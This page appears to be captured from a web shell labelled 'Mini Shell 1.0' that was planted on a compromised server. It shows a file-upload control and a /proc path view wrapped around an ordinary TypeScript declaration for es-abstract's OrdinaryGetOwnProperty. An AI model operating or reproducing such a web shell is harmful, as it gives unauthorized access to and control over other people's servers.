HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991111/root/usr/share/nodejs/@types/es-abstract/2015/
Upload File :
Current File : //proc/1991111/root/usr/share/nodejs/@types/es-abstract/2015/OrdinaryGetOwnProperty.d.ts
import type { PropertyKey } from '../index';

declare function OrdinaryGetOwnProperty<O extends object, P extends PropertyKey>(
    O: O,
    P: P,
):
    | {
        '[[Configurable]]': boolean;
        '[[Enumerable]]': boolean;
        '[[Writable]]': boolean;
        '[[Value]]': P extends keyof O ? O[P] : unknown;
    }
    | {
        '[[Configurable]]': boolean;
        '[[Enumerable]]': boolean;
        '[[Get]]': (() => P extends keyof O ? O[P] : unknown) | undefined;
        '[[Set]]': ((value: P extends keyof O ? O[P] : unknown) => void) | undefined;
    }
    | undefined;
export = OrdinaryGetOwnProperty;